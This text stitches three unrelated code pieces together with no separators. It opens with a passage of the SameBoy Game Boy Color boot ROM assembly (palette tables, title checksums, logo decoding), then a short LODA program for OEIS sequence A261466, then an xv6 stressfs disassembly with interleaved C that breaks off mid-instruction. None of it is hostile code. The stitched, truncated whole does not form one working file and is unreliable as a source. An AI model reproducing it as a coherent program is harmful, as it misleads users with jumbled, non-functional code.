ret .endTilemap ENDC ; Expand Palettes ld de, AnimationColors ld c, 8 ld hl, BgPalettes xor a .expandPalettesLoop: cpl ; One white ld [hli], a ld [hli], a ; Mixed with white ld a, [de] inc e or $20 ld b, a ld a, [de] dec e or $84 rra rr b ld [hl], b inc l ld [hli], a ; One black xor a ld [hli], a ld [hli], a ; One color ld a, [de] inc e ld [hli], a ld a, [de] inc e ld [hli], a xor a dec c jr nz, .expandPalettesLoop call LoadPalettesFromHRAM ; Turn on LCD ld a, $89 ; fix ldh [$4e], a ; fix IF !DEF(FAST) call DoIntroAnimation ld a, 48 ; frames to wait after playing the chime ldh [WaitLoopCounter], a ld b, 4 ; frames to wait before playing the chime call WaitBFrames ; Play first sound ld a, $83 call PlaySound ld b, 5 call WaitBFrames ; Play second sound ld a, $c1 call PlaySound .waitLoop call GetInputPaletteIndex call WaitFrame ld hl, WaitLoopCounter dec [hl] jr nz, .waitLoop ELSE ld a, $c1 call PlaySound ENDC call Preboot IF DEF(AGB) ld b, 1 ENDC ; Will be filled with NOPs SECTION "BootGame", ROM0[$fe] BootGame: ldh [$50], a SECTION "MoreStuff", ROM0[$200] ; Game Palettes Data TitleChecksums: db $00 ; Default db $88 ; ALLEY WAY db $16 ; YAKUMAN db $36 ; BASEBALL, (Game and Watch 2) db $D1 ; TENNIS db $DB ; TETRIS db $F2 ; QIX db $3C ; DR.MARIO db $8C ; RADARMISSION db $92 ; F1RACE db $3D ; YOSSY NO TAMAGO db $5C ; db $58 ; X db $C9 ; MARIOLAND2 db $3E ; YOSSY NO COOKIE db $70 ; ZELDA db $1D ; db $59 ; db $69 ; TETRIS FLASH db $19 ; DONKEY KONG db $35 ; MARIO'S PICROSS db $A8 ; db $14 ; POKEMON RED, (GAMEBOYCAMERA G) db $AA ; POKEMON GREEN db $75 ; PICROSS 2 db $95 ; YOSSY NO PANEPON db $99 ; KIRAKIRA KIDS db $34 ; GAMEBOY GALLERY db $6F ; POCKETCAMERA db $15 ; db $FF ; BALLOON KID db $97 ; KINGOFTHEZOO db $4B ; DMG FOOTBALL db $90 ; WORLD CUP db $17 ; OTHELLO db $10 ; SUPER RC PRO-AM db $39 ; DYNABLASTER db $F7 ; BOY AND BLOB GB2 db $F6 ; MEGAMAN db $A2 ; STAR WARS-NOA db $49 ; db $4E ; WAVERACE db $43 ; db $68 ; LOLO2 db $E0 ; YOSHI'S COOKIE db $8B ; MYSTIC QUEST db $F0 ; db $CE ; TOPRANKINGTENNIS db $0C ; MANSELL db $29 ; MEGAMAN3 db $E8 ; SPACE INVADERS db $B7 ; GAME&WATCH db $86 ; DONKEYKONGLAND95 db $9A ; ASTEROIDS/MISCMD db $52 ; STREET FIGHTER 2 db $01 ; DEFENDER/JOUST db $9D ; KILLERINSTINCT95 db $71 ; TETRIS BLAST db $9C ; PINOCCHIO db $BD ; db $5D ; BA.TOSHINDEN db $6D ; NETTOU KOF 95 db $67 ; db $3F ; TETRIS PLUS db $6B ; DONKEYKONGLAND 3 ; For these games, the 4th letter is taken into account FirstChecksumWithDuplicate: ; Let's play hangman! db $B3 ; ???[B]???????? db $46 ; SUP[E]R MARIOLAND db $28 ; GOL[F] db $A5 ; SOL[A]RSTRIKER db $C6 ; GBW[A]RS db $D3 ; KAE[R]UNOTAMENI db $27 ; ???[B]???????? db $61 ; POK[E]MON BLUE db $18 ; DON[K]EYKONGLAND db $66 ; GAM[E]BOY GALLERY2 db $6A ; DON[K]EYKONGLAND 2 db $BF ; KID[ ]ICARUS db $0D ; TET[R]IS2 db $F4 ; ???[-]???????? db $B3 ; MOG[U]RANYA db $46 ; ???[R]???????? db $28 ; GAL[A]GA&GALAXIAN db $A5 ; BT2[R]AGNAROKWORLD db $C6 ; KEN[ ]GRIFFEY JR db $D3 ; ???[I]???????? db $27 ; MAG[N]ETIC SOCCER db $61 ; VEG[A]S STAKES db $18 ; ???[I]???????? db $66 ; MIL[L]I/CENTI/PEDE db $6A ; MAR[I]O & YOSHI db $BF ; SOC[C]ER db $0D ; POK[E]BOM db $F4 ; G&W[ ]GALLERY db $B3 ; TET[R]IS ATTACK ChecksumsEnd: PalettePerChecksum: palette_index: MACRO ; palette, flags db ((\1)) | (\2) ; | $80 means game requires DMG boot tilemap ENDM palette_index 0, 0 ; Default Palette palette_index 4, 0 ; ALLEY WAY palette_index 5, 0 ; YAKUMAN palette_index 35, 0 ; BASEBALL, (Game and Watch 2) palette_index 34, 0 ; TENNIS palette_index 3, 0 ; TETRIS palette_index 31, 0 ; QIX palette_index 15, 0 ; DR.MARIO palette_index 10, 0 ; RADARMISSION palette_index 5, 0 ; F1RACE palette_index 19, 0 ; YOSSY NO TAMAGO palette_index 36, 0 ; palette_index 7, $80 ; X palette_index 37, 0 ; MARIOLAND2 palette_index 30, 0 ; YOSSY NO COOKIE palette_index 44, 0 ; ZELDA palette_index 21, 0 ; palette_index 32, 0 ; palette_index 31, 0 ; TETRIS FLASH palette_index 20, 0 ; DONKEY KONG palette_index 5, 0 ; MARIO'S PICROSS palette_index 33, 0 ; palette_index 13, 0 ; POKEMON RED, (GAMEBOYCAMERA G) palette_index 14, 0 ; POKEMON GREEN palette_index 5, 0 ; PICROSS 2 palette_index 29, 0 ; YOSSY NO PANEPON palette_index 5, 0 ; KIRAKIRA KIDS palette_index 18, 0 ; GAMEBOY GALLERY palette_index 9, 0 ; POCKETCAMERA palette_index 3, 0 ; palette_index 2, 0 ; BALLOON KID palette_index 26, 0 ; KINGOFTHEZOO palette_index 25, 0 ; DMG FOOTBALL palette_index 25, 0 ; WORLD CUP palette_index 41, 0 ; OTHELLO palette_index 42, 0 ; SUPER RC PRO-AM palette_index 26, 0 ; DYNABLASTER palette_index 45, 0 ; BOY AND BLOB GB2 palette_index 42, 0 ; MEGAMAN palette_index 45, 0 ; STAR WARS-NOA palette_index 36, 0 ; palette_index 38, 0 ; WAVERACE palette_index 26, $80 ; palette_index 42, 0 ; LOLO2 palette_index 30, 0 ; YOSHI'S COOKIE palette_index 41, 0 ; MYSTIC QUEST palette_index 34, 0 ; palette_index 34, 0 ; TOPRANKINGTENNIS palette_index 5, 0 ; MANSELL palette_index 42, 0 ; MEGAMAN3 palette_index 6, 0 ; SPACE INVADERS palette_index 5, 0 ; GAME&WATCH palette_index 33, 0 ; DONKEYKONGLAND95 palette_index 25, 0 ; ASTEROIDS/MISCMD palette_index 42, 0 ; STREET FIGHTER 2 palette_index 42, 0 ; DEFENDER/JOUST palette_index 40, 0 ; KILLERINSTINCT95 palette_index 2, 0 ; TETRIS BLAST palette_index 16, 0 ; PINOCCHIO palette_index 25, 0 ; palette_index 42, 0 ; BA.TOSHINDEN palette_index 42, 0 ; NETTOU KOF 95 palette_index 5, 0 ; palette_index 0, 0 ; TETRIS PLUS palette_index 39, 0 ; DONKEYKONGLAND 3 palette_index 36, 0 ; palette_index 22, 0 ; SUPER MARIOLAND palette_index 25, 0 ; GOLF palette_index 6, 0 ; SOLARSTRIKER palette_index 32, 0 ; GBWARS palette_index 12, 0 ; KAERUNOTAMENI palette_index 36, 0 ; palette_index 11, 0 ; POKEMON BLUE palette_index 39, 0 ; DONKEYKONGLAND palette_index 18, 0 ; GAMEBOY GALLERY2 palette_index 39, 0 ; DONKEYKONGLAND 2 palette_index 24, 0 ; KID ICARUS palette_index 31, 0 ; TETRIS2 palette_index 50, 0 ; palette_index 17, 0 ; MOGURANYA palette_index 46, 0 ; palette_index 6, 0 ; GALAGA&GALAXIAN palette_index 27, 0 ; BT2RAGNAROKWORLD palette_index 0, 0 ; KEN GRIFFEY JR palette_index 47, 0 ; palette_index 41, 0 ; MAGNETIC SOCCER palette_index 41, 0 ; VEGAS STAKES palette_index 0, 0 ; palette_index 0, 0 ; MILLI/CENTI/PEDE palette_index 19, 0 ; MARIO & YOSHI palette_index 34, 0 ; SOCCER palette_index 23, 0 ; POKEBOM palette_index 18, 0 ; G&W GALLERY palette_index 29, 0 ; TETRIS ATTACK Dups4thLetterArray: db "BEFAARBEKEK R-URAR INAILICE R" ; We assume the last three arrays fit in the same $100 byte page! PaletteCombinations: palette_comb: MACRO ; Obj0, Obj1, Bg db (\1) * 8, (\2) * 8, (\3) *8 ENDM raw_palette_comb: MACRO ; Obj0, Obj1, Bg db (\1) * 2, (\2) * 2, (\3) * 2 ENDM palette_comb 4, 4, 29 palette_comb 18, 18, 18 palette_comb 20, 20, 20 palette_comb 24, 24, 24 palette_comb 9, 9, 9 palette_comb 0, 0, 0 palette_comb 27, 27, 27 palette_comb 5, 5, 5 palette_comb 12, 12, 12 palette_comb 26, 26, 26 palette_comb 16, 8, 8 palette_comb 4, 28, 28 palette_comb 4, 2, 2 palette_comb 3, 4, 4 palette_comb 4, 29, 29 palette_comb 28, 4, 28 palette_comb 2, 17, 2 palette_comb 16, 16, 8 palette_comb 4, 4, 7 palette_comb 4, 4, 18 palette_comb 4, 4, 20 palette_comb 19, 19, 9 raw_palette_comb 4 * 4 - 1, 4 * 4 - 1, 11 * 4 palette_comb 17, 17, 2 palette_comb 4, 4, 2 palette_comb 4, 4, 3 palette_comb 28, 28, 0 palette_comb 3, 3, 0 palette_comb 0, 0, 1 palette_comb 18, 22, 18 palette_comb 20, 22, 20 palette_comb 24, 22, 24 palette_comb 16, 22, 8 palette_comb 17, 4, 13 raw_palette_comb 28 * 4 - 1, 0 * 4, 14 * 4 raw_palette_comb 28 * 4 - 1, 4 * 4, 15 * 4 raw_palette_comb 19 * 4, 23 * 4 - 1, 9 * 4 palette_comb 16, 28, 10 palette_comb 4, 23, 28 palette_comb 17, 22, 2 palette_comb 4, 0, 2 palette_comb 4, 28, 3 palette_comb 28, 3, 0 palette_comb 3, 28, 4 palette_comb 21, 28, 4 palette_comb 3, 28, 0 palette_comb 25, 3, 28 palette_comb 0, 28, 8 palette_comb 4, 3, 28 palette_comb 28, 3, 6 palette_comb 4, 28, 29 ; SameBoy "Exclusives" palette_comb 30, 30, 30 ; CGA palette_comb 31, 31, 31 ; DMG LCD palette_comb 28, 4, 1 palette_comb 0, 0, 2 Palettes: dw $7FFF, $32BF, $00D0, $0000 dw $639F, $4279, $15B0, $04CB dw $7FFF, $6E31, $454A, $0000 dw $7FFF, $1BEF, $0200, $0000 dw $7FFF, $421F, $1CF2, $0000 dw $7FFF, $5294, $294A, $0000 dw $7FFF, $03FF, $012F, $0000 dw $7FFF, $03EF, $01D6, $0000 dw $7FFF, $42B5, $3DC8, $0000 dw $7E74, $03FF, $0180, $0000 dw $67FF, $77AC, $1A13, $2D6B dw $7ED6, $4BFF, $2175, $0000 dw $53FF, $4A5F, $7E52, $0000 dw $4FFF, $7ED2, $3A4C, $1CE0 dw $03ED, $7FFF, $255F, $0000 dw $036A, $021F, $03FF, $7FFF dw $7FFF, $01DF, $0112, $0000 dw $231F, $035F, $00F2, $0009 dw $7FFF, $03EA, $011F, $0000 dw $299F, $001A, $000C, $0000 dw $7FFF, $027F, $001F, $0000 dw $7FFF, $03E0, $0206, $0120 dw $7FFF, $7EEB, $001F, $7C00 dw $7FFF, $3FFF, $7E00, $001F dw $7FFF, $03FF, $001F, $0000 dw $03FF, $001F, $000C, $0000 dw $7FFF, $033F, $0193, $0000 dw $0000, $4200, $037F, $7FFF dw $7FFF, $7E8C, $7C00, $0000 dw $7FFF, $1BEF, $6180, $0000 ; SameBoy "Exclusives" dw $7FFF, $7FEA, $7D5F, $0000 ; CGA 1 dw $4778, $3290, $1D87, $0861 ; DMG LCD KeyCombinationPalettes: db 1 * 3 ; Right db 48 * 3 ; Left db 5 * 3 ; Up db 8 * 3 ; Down db 0 * 3 ; Right + A db 40 * 3 ; Left + A db 43 * 3 ; Up + A db 3 * 3 ; Down + A db 6 * 3 ; Right + B db 7 * 3 ; Left + B db 28 * 3 ; Up + B db 49 * 3 ; Down + B ; SameBoy "Exclusives" db 51 * 3 ; Right + A + B db 52 * 3 ; Left + A + B db 53 * 3 ; Up + A + B db 54 * 3 ; Down + A + B TrademarkSymbol: db $3c,$42,$b9,$a5,$b9,$a5,$42,$3c SameBoyLogo: incbin "SameBoyLogo.pb12" AnimationColors: dw $7FFF ; White dw $774F ; Cyan dw $22C7 ; Green dw $039F ; Yellow dw $017D ; Orange dw $241D ; Red dw $6D38 ; Purple dw $7102 ; Blue AnimationColorsEnd: ; Helper Functions DoubleBitsAndWriteRowTwice: call .twice .twice ; Double the most significant 4 bits, b is shifted by 4 ld a, 4 ld c, 0 .doubleCurrentBit sla b push af rl c pop af rl c dec a jr nz, .doubleCurrentBit ld a, c ; Write as two rows ldi [hl], a inc hl ldi [hl], a inc hl ret WaitFrame: push hl ld hl, $FF0F res 0, [hl] .wait bit 0, [hl] jr z, .wait pop hl ret WaitBFrames: call GetInputPaletteIndex call WaitFrame dec b jr nz, WaitBFrames ret PlaySound: ldh [$13], a ld a, $87 ldh [$14], a ret ClearMemoryPage8000: ld hl, $8000 ; Clear from HL to HL | 0x2000 ClearMemoryPage: xor a ldi [hl], a bit 5, h jr z, ClearMemoryPage ret ReadTwoTileLines: call ReadTileLine ; c = $f0 for even lines, $f for odd lines. ReadTileLine: ld a, [de] and c ld b, a inc e inc e ld a, [de] dec e dec e and c swap a or b bit 0, c jr z, .dontSwap swap a .dontSwap inc hl ldi [hl], a swap c ret ReadCGBLogoHalfTile: call .do_twice .do_twice call ReadTwoTileLines inc e ld a, e ret ; LoadTileset using PB12 codec, 2020 Jakub Kądziołka ; (based on PB8 codec, 2019 Damian Yerrick) SameBoyLogo_dst = $8080 SameBoyLogo_length = (128 * 24) / 64 LoadTileset: ld hl, SameBoyLogo ld de, SameBoyLogo_dst - 1 ld c, SameBoyLogo_length .refill ; Register map for PB12 decompression ; HL: source address in boot ROM ; DE: destination address in VRAM ; A: Current literal value ; B: Repeat bits, terminated by 1000... ; Source address in HL lets the repeat bits go straight to B, ; bypassing A and avoiding spilling registers to the stack. ld b, [hl] dec b jr z, .sameboyLogoEnd inc b inc hl ; Shift a 1 into lower bit of shift value. Once this bit ; reaches the carry, B becomes 0 and the byte is over scf rl b .loop ; If not a repeat, load a literal byte jr c, .simple_repeat sla b jr c, .shifty_repeat ld a, [hli] jr .got_byte .shifty_repeat sla b jr nz, .no_refill_during_shift ld b, [hl] ; see above. Also, no, factoring it out into a callable inc hl ; routine doesn't save bytes, even with conditional calls scf rl b .no_refill_during_shift ld c, a jr nc, .shift_left srl a db $fe ; eat the add a with cp d8 .shift_left add a sla b jr c, .go_and or c db $fe ; eat the and c with cp d8 .go_and and c jr .got_byte .simple_repeat sla b jr c, .got_byte ; far repeat dec de ld a, [de] inc de .got_byte inc de ld [de], a sla b jr nz, .loop jr .refill ; End PB12 decoding. The rest uses HL as the destination .sameboyLogoEnd ld h, d ld l, $80 ; Copy (unresized) ROM logo ld de, $104 .CGBROMLogoLoop ld c, $f0 call ReadCGBLogoHalfTile add a, 22 ld e, a call ReadCGBLogoHalfTile sub a, 22 ld e, a cp $1c jr nz, .CGBROMLogoLoop inc hl ; fallthrough ReadTrademarkSymbol: ld de, TrademarkSymbol ld c,$08 .loadTrademarkSymbolLoop: ld a,[de] inc de ldi [hl],a inc hl dec c jr nz, .loadTrademarkSymbolLoop ret DoIntroAnimation: ; Animate the intro ld a, 1 ldh [$4F], a ld d, 26 .animationLoop ld b, 2 call WaitBFrames ld hl, $98C0 ld c, 3 ; Row count .loop ld a, [hl] cp $F ; Already blue jr z, .nextTile inc [hl] and $7 jr z, .nextLine ; Changed a white tile, go to next line .nextTile inc hl jr .loop .nextLine ld a, l or $1F ld l, a inc hl dec c jr nz, .loop dec d jr nz, .animationLoop ret Preboot: IF !DEF(FAST) ld b, 32 ; 32 times to fade .fadeLoop ld c, 32 ; 32 colors to fade ld hl, BgPalettes .frameLoop push bc ; Brighten Color ld a, [hli] ld e, a ld a, [hld] ld d, a ; RGB(1,1,1) ld bc, $421 ; Is blue maxed? ld a, e and $1F cp $1F jr nz, .blueNotMaxed dec c .blueNotMaxed ; Is green maxed? ld a, e cp $E0 jr c, .greenNotMaxed ld a, d and $3 cp $3 jr nz, .greenNotMaxed res 5, c .greenNotMaxed ; Is red maxed? ld a, d and $7C cp $7C jr nz, .redNotMaxed res 2, b .redNotMaxed ; add de, bc ; ld [hli], de ld a, e add c ld [hli], a ld a, d adc b ld [hli], a pop bc dec c jr nz, .frameLoop call WaitFrame call LoadPalettesFromHRAM call WaitFrame dec b jr nz, .fadeLoop ENDC ld a, 1 call ClearVRAMViaHDMA call _ClearVRAMViaHDMA call ClearVRAMViaHDMA ; A = $40, so it's bank 0 ld a, $ff ldh [$00], a ; Final values for CGB mode ld d, a ld e, c ld l, $0d ld a, [$143] bit 7, a call z, EmulateDMG bit 7, a ldh [$4C], a ldh a, [TitleChecksum] ld b, a jr z, .skipDMGForCGBCheck ldh a, [InputPalette] and a jr nz, .emulateDMGForCGBGame .skipDMGForCGBCheck IF DEF(AGB) ; Set registers to match the original AGB-CGB boot ; AF = $1100, C = 0 xor a ld c, a add a, $11 ld h, c ; B is set to 1 after ret ELSE ; Set registers to match the original CGB boot ; AF = $1180, C = 0 xor a ld c, a ld a, $11 ld h, c ; B is set to the title checksum ENDC ret .emulateDMGForCGBGame call EmulateDMG ldh [$4C], a ld a, $1 ret GetKeyComboPalette: ld hl, KeyCombinationPalettes - 1 ; Return value is 1-based, 0 means nothing down ld c, a ld b, 0 add hl, bc ld a, [hl] ret EmulateDMG: ld a, 1 ldh [$6C], a ; DMG Emulation call GetPaletteIndex bit 7, a call nz, LoadDMGTilemap res 7, a ld b, a add b add b ld b, a ldh a, [InputPalette] and a jr z, .nothingDown call GetKeyComboPalette jr .paletteFromKeys .nothingDown ld a, b .paletteFromKeys call WaitFrame call LoadPalettesFromIndex ld a, 4 ; Set the final values for DMG mode ld de, 8 ld l, $7c ret GetPaletteIndex: ld hl, $14B ld a, [hl] ; Old Licensee cp $33 jr z, .newLicensee dec a ; 1 = Nintendo jr nz, .notNintendo jr .doChecksum .newLicensee ld l, $44 ld a, [hli] cp "0" jr nz, .notNintendo ld a, [hl] cp "1" jr nz, .notNintendo .doChecksum ld l, $34 ld c, $10 xor a .checksumLoop add [hl] inc l dec c jr nz, .checksumLoop ld b, a ; c = 0 ld hl, TitleChecksums .searchLoop ld a, l sub LOW(ChecksumsEnd) ; use sub to zero out a ret z ld a, [hli] cp b jr nz, .searchLoop ; We might have a match, Do duplicate/4th letter check ld a, l sub FirstChecksumWithDuplicate - TitleChecksums + 1 jr c, .match ; Does not have a duplicate, must be a match! ; Has a duplicate; check 4th letter push hl ld a, l add Dups4thLetterArray - FirstChecksumWithDuplicate - 1 ; -1 since hl was incremented ld l, a ld a, [hl] pop hl ld c, a ld a, [$134 + 3] ; Get 4th letter cp c jr nz, .searchLoop ; Not a match, continue .match ld a, l add PalettePerChecksum - TitleChecksums - 1; -1 since hl was incremented ld l, a ld a, b ldh [TitleChecksum], a ld a, [hl] ret .notNintendo xor a ret ; optimizations in callers rely on this returning with b = 0 GetPaletteCombo: ld hl, PaletteCombinations ld b, 0 ld c, a add hl, bc ret LoadPalettesFromIndex: ; a = index of combination call GetPaletteCombo ; Obj Palettes ld e, 0 .loadObjPalette ld a, [hli] push hl ld hl, Palettes ; b is already 0 ld c, a add hl, bc ld d, 8 ld c, $6A call LoadPalettes pop hl bit 3, e jr nz, .loadBGPalette ld e, 8 jr .loadObjPalette .loadBGPalette ;BG Palette ld c, [hl] ; b is already 0 ld hl, Palettes add hl, bc ld d, 8 jr LoadBGPalettes LoadPalettesFromHRAM: ld hl, BgPalettes ld d, 64 LoadBGPalettes: ld e, 0 ld c, $68 LoadPalettes: ld a, $80 or e ld [c], a inc c .loop ld a, [hli] ld [c], a dec d jr nz, .loop ret ClearVRAMViaHDMA: ldh [$4F], a ld hl, HDMAData _ClearVRAMViaHDMA: ld c, $51 ld b, 5 .loop ld a, [hli] ldh [c], a inc c dec b jr nz, .loop ret ; clobbers AF and HL GetInputPaletteIndex: ld a, $20 ; Select directions ldh [$00], a ldh a, [$00] cpl and $F ret z ; No direction keys pressed, no palette ld l, 0 .directionLoop inc l rra jr nc, .directionLoop ; c = 1: Right, 2: Left, 3: Up, 4: Down ld a, $10 ; Select buttons ldh [$00], a ldh a, [$00] cpl rla rla and $C add l ld l, a ldh a, [InputPalette] cp l ret z ; No change, don't load ld a, l ldh [InputPalette], a ; Slide into change Animation Palette ChangeAnimationPalette: push bc push de call GetKeyComboPalette call GetPaletteCombo inc l inc l ld c, [hl] ld hl, Palettes + 1 add hl, bc ld a, [hld] cp $7F ; Is white color? jr nz, .isWhite inc hl inc hl .isWhite push af ld a, [hli] push hl ld hl, BgPalettes ; First color, all palettes call ReplaceColorInAllPalettes ld l, LOW(BgPalettes + 2) ; Second color, all palettes call ReplaceColorInAllPalettes pop hl ldh [BgPalettes + 6], a ; Fourth color, first palette ld a, [hli] push hl ld hl, BgPalettes + 1 ; First color, all palettes call ReplaceColorInAllPalettes ld l, LOW(BgPalettes + 3) ; Second color, all palettes call ReplaceColorInAllPalettes pop hl ldh [BgPalettes + 7], a ; Fourth color, first palette pop af jr z, .isNotWhite inc hl inc hl .isNotWhite ; Mixing code by ISSOtm ldh a, [BgPalettes + 7 * 8 + 2] and ~$21 ld b, a ld a, [hli] and ~$21 add a, b ld b, a ld a, [BgPalettes + 7 * 8 + 3] res 2, a ; and ~$04, but not touching carry ld c, [hl] res 2, c ; and ~$04, but not touching carry adc a, c rra ; Carry sort of "extends" the accumulator, we're bringing that bit back home ld [BgPalettes + 7 * 8 + 3], a ld a, b rra ld [BgPalettes + 7 * 8 + 2], a dec l ld a, [hli] ldh [BgPalettes + 7 * 8 + 6], a ; Fourth color, 7th palette ld a, [hli] ldh [BgPalettes + 7 * 8 + 7], a ; Fourth color, 7th palette ld a, [hli] ldh [BgPalettes + 4], a ; Third color, first palette ld a, [hli] ldh [BgPalettes + 5], a ; Third color, first palette call WaitFrame call LoadPalettesFromHRAM ; Delay the wait loop while the user is selecting a palette ld a, 48 ldh [WaitLoopCounter], a pop de pop bc ret ReplaceColorInAllPalettes: ld de, 8 ld c, e .loop ld [hl], a add hl, de dec c jr nz, .loop ret LoadDMGTilemap: push af call WaitFrame ld a, $19 ; Trademark symbol ld [$9910], a ; ... put in the superscript position ld hl,$992f ; Bottom right corner of the logo ld c,$c ; Tiles in a logo row .tilemapLoop dec a jr z, .tilemapDone ldd [hl], a dec c jr nz, .tilemapLoop ld l, $0f ; Jump to top row jr .tilemapLoop .tilemapDone pop af ret HDMAData: db $88, $00, $98, $A0, $12 db $88, $00, $80, $00, $40 BootEnd: IF BootEnd > $900 FAIL "BootROM overflowed: {BootEnd}" ENDC SECTION "HRAM", HRAM[$FF80] TitleChecksum: ds 1 BgPalettes: ds 8 * 4 * 2 InputPalette: ds 1 WaitLoopCounter: ds 1
; A261466: Records in A261461. ; Submitted by Jamie Morken(s4) ; 1,2,3,4,5,7,8,9,10,11,13,15,16,17,18,19,20,21,22,23,25,26,27,29,31 mov $4,$0 mov $5,$0 lpb $4 mov $0,$5 sub $4,1 sub $0,$4 add $0,3 mul $0,4 mov $2,2 mov $3,11 lpb $0 pow $0,$2 add $2,$3 div $0,$2 mod $0,$2 sub $2,1 lpe mov $3,$0 add $3,$2 cmp $2,$3 mov $6,$2 add $6,1 add $1,$6 lpe mov $0,$1 add $0,1
_stressfs: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "fs.h" #include "fcntl.h" int main(int argc, char *argv[]) { 0: 55 push %ebp int fd, i; char path[] = "stressfs0"; 1: b8 30 00 00 00 mov $0x30,%eax { 6: 89 e5 mov %esp,%ebp 8: 57 push %edi 9: 56 push %esi a: 53 push %ebx char data[512]; printf(1, "stressfs starting\n"); memset(data, 'a', sizeof(data)); for(i = 0; i < 4; i++) b: 31 db xor %ebx,%ebx { d: 83 e4 f0 and $0xfffffff0,%esp 10: 81 ec 20 02 00 00 sub $0x220,%esp printf(1, "stressfs starting\n"); 16: c7 44 24 04 16 08 00 movl $0x816,0x4(%esp) 1d: 00 memset(data, 'a', sizeof(data)); 1e: 8d 74 24 20 lea 0x20(%esp),%esi printf(1, "stressfs starting\n"); 22: c7 04 24 01 00 00 00 movl $0x1,(%esp) char path[] = "stressfs0"; 29: 66 89 44 24 1e mov %ax,0x1e(%esp) 2e: c7 44 24 16 73 74 72 movl $0x65727473,0x16(%esp) 35: 65 36: c7 44 24 1a 73 73 66 movl $0x73667373,0x1a(%esp) 3d: 73 printf(1, "stressfs starting\n"); 3e: e8 6d 04 00 00 call 4b0 <printf> memset(data, 'a', sizeof(data)); 43: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 4a: 00 4b: c7 44 24 04 61 00 00 movl $0x61,0x4(%esp) 52: 00 53: 89 34 24 mov %esi,(%esp) 56: e8 95 01 00 00 call 1f0 <memset> if(fork() > 0) 5b: e8 fa 02 00 00 call 35a <fork> 60: 85 c0 test %eax,%eax 62: 0f 8f c3 00 00 00 jg 12b <main+0x12b> for(i = 0; i < 4; i++) 68: 83 c3 01 add $0x1,%ebx 6b: 83 fb 04 cmp $0x4,%ebx 6e: 75 eb jne 5b <main+0x5b> 70: bf 04 00 00 00 mov $0x4,%edi break; printf(1, "write %d\n", i); 75: 89 5c 24 08 mov %ebx,0x8(%esp) path[8] += i; fd = open(path, O_CREATE | O_RDWR); 79: bb 14 00 00 00 mov $0x14,%ebx printf(1, "write %d\n", i); 7e: c7 44 24 04 29 08 00 movl $0x829,0x4(%esp) 85: 00 86: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8d: e8 1e 04 00 00 call 4b0 <printf> path[8] += i; 92: 89 f8 mov %edi,%eax 94: 00 44 24 1e add %al,0x1e(%esp) fd = open(path, O_CREATE | O_RDWR); 98: 8d 44 24 16 lea 0x16(%esp),%eax 9c: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp) a3: 00 a4: 89 04 24 mov %eax,(%esp) a7: e8 f6 02 00 00 call 3a2 <open> ac: 89 c7 mov %eax,%edi ae: 66 90 xchg %ax,%ax for(i = 0; i < 20; i++) // printf(fd, "%d\n", i); write(fd, data, sizeof(data)); b0: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) b7: 00 b8: 89 74 24 04 mov %esi,0x4(%esp) bc: 89 3c 24 mov %edi,(%esp) bf: e8 be 02 00 00 call 382 <write> for(i = 0; i < 20; i++) c4: 83 eb 01 sub $0x1,%ebx c7: 75 e7 jne b0 <main+0xb0> close(fd); c9: 89 3c 24 mov %edi,(%esp) printf(1, "read\n"); fd = open(path, O_RDONLY); cc: bb 14 00 00 00 mov $0x14,%ebx close(fd); d1: e8 b4 02 00 00 call 38a <close> printf(1, "read\n"); d6: c7 44 24 04 33 08 00 movl $0x833,0x4(%esp) dd: 00 de: c7 04 24 01 00 00 00 movl $0x1,(%esp) e5: e8 c6 03 00 00 call 4b0 <printf> fd = open(path, O_RDONLY); ea: 8d 44 24 16 lea 0x16(%esp),%eax ee: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) f5: 00 f6: 89 04 24 mov %eax,(%esp) f9: e8 a4 02 00 00 call 3a2 <open> fe: 89 c7 mov %eax,%edi for (i = 0; i < 20; i++) read(fd, data, sizeof(data)); 100: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 107: 00 108: 89 74 24 04 mov %esi,0x4(%esp) 10c: 89 3c 24 mov %edi,(%esp) 10f: e8 66 02 00 00 call 37a <read> for (i = 0; i < 20; i++) 114: 83 eb 01 sub $0x1,%ebx 117: 75 e7 jne 100 <main+0x100> close(fd); 119: 89 3c 24 mov %edi,(%esp) 11c: e8 69 02 00 00 call 38a <close> wait(); 121: e8 44 02 00 00 call 36a <wait> exit(); 126: e8 37 02 00 00 call 362 <exit> 12b: 89 df mov %ebx,%edi 12d: 8d 76 00 lea 0x0(%esi),%esi 130: e9 40 ff ff ff jmp 75 <main+0x75> 135: 66 90 xchg %ax,%ax 137: 66 90 xchg %ax,%ax 139: 66 90 xchg %ax,%ax 13b: 66 90 xchg %ax,%ax 13d: 66 90 xchg %ax,%ax 13f: 90 nop 00000140 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 140: 55 push %ebp 141: 89 e5 mov %esp,%ebp 143: 8b 45 08 mov 0x8(%ebp),%eax 146: 8b 4d 0c mov 0xc(%ebp),%ecx 149: 53 push %ebx char *os; os = s; while((*s++ = *t++) != 0) 14a: 89 c2 mov %eax,%edx 14c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 150: 83 c1 01 add $0x1,%ecx 153: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 157: 83 c2 01 add $0x1,%edx 15a: 84 db test %bl,%bl 15c: 88 5a ff mov %bl,-0x1(%edx) 15f: 75 ef jne 150 <strcpy+0x10> ; return os; } 161: 5b pop %ebx 162: 5d pop %ebp 163: c3 ret 164: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 16a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000170 <strcmp>: int strcmp(const char *p, const char *q) { 170: 55 push %ebp 171: 89 e5 mov %esp,%ebp 173: 8b 55 08 mov 0x8(%ebp),%edx 176: 53 push %ebx 177: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 17a: 0f b6 02 movzbl (%edx),%eax 17d: 84 c0 test %al,%al 17f: 74 2d je 1ae <strcmp+0x3e> 181: 0f b6 19 movzbl (%ecx),%ebx 184: 38 d8 cmp %bl,%al 186: 74 0e je 196 <strcmp+0x26> 188: eb 2b jmp 1b5 <strcmp+0x45> 18a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 190: 38 c8 cmp %cl,%al 192: 75 15 jne 1a9 <strcmp+0x39> p++, q++; 194: 89 d9 mov 